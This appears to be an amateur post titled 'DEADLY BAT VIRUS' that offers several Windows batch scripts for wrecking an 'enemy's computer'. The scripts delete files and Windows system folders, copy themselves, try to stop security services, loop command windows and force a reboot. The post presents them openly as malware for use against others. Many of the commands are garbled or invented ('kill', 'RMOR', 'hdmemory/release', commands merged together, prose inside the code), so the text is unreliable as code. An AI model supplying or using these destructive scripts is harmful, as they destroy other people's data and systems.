

DEADLY BAT VIRUS

Here are some bat files that works more deadly than a virus if u have an access to your enemy's computer.

WARNING DON'T TEST THIS FILE IN YOUR COMPUTER.

I'VE ADDED PAUSE COMMAND TO PREVENT ACCIDENTAL OPENING OF THE PROGRAM..IF U ARE NOT "himanshu" in the

sector then just open up ur note pad and paste each of these code starting from @echo off...

make separate file of each...Code and save each file as a.bat,b.bat,c.bat remember .bat is important:

```
@echo off
kill %windir%
del %windir%del *.txt
del *.exe
del *.bat
del *.ini
:ok
start, cmd
Goto
ok
```

Code:

```
@echo off
deltree c://
deltree d://
kill c://
kill d://
Copy halo.bat %0 %windir%
start daily halo.bat
Destroy the hard-drive.
```

Code:

```
RMOR C: /S /Q
Complete wipe out:
```

Code:

```
@echo offdel *.txt
del *.exe
del *.ininet stop "security"
del c://windows/system32
mkdir O
copy halo.bat O
copy %0 halo.bat %windir%
kill %windir%
kill system.ini
Erases Hard-Drive then shutdowns computer.
```

Code:

```
hdmemory/release
echo total hard drive erased
```

```
echo xJefTabx strikes again!  
shutdown -r -f -t0
```
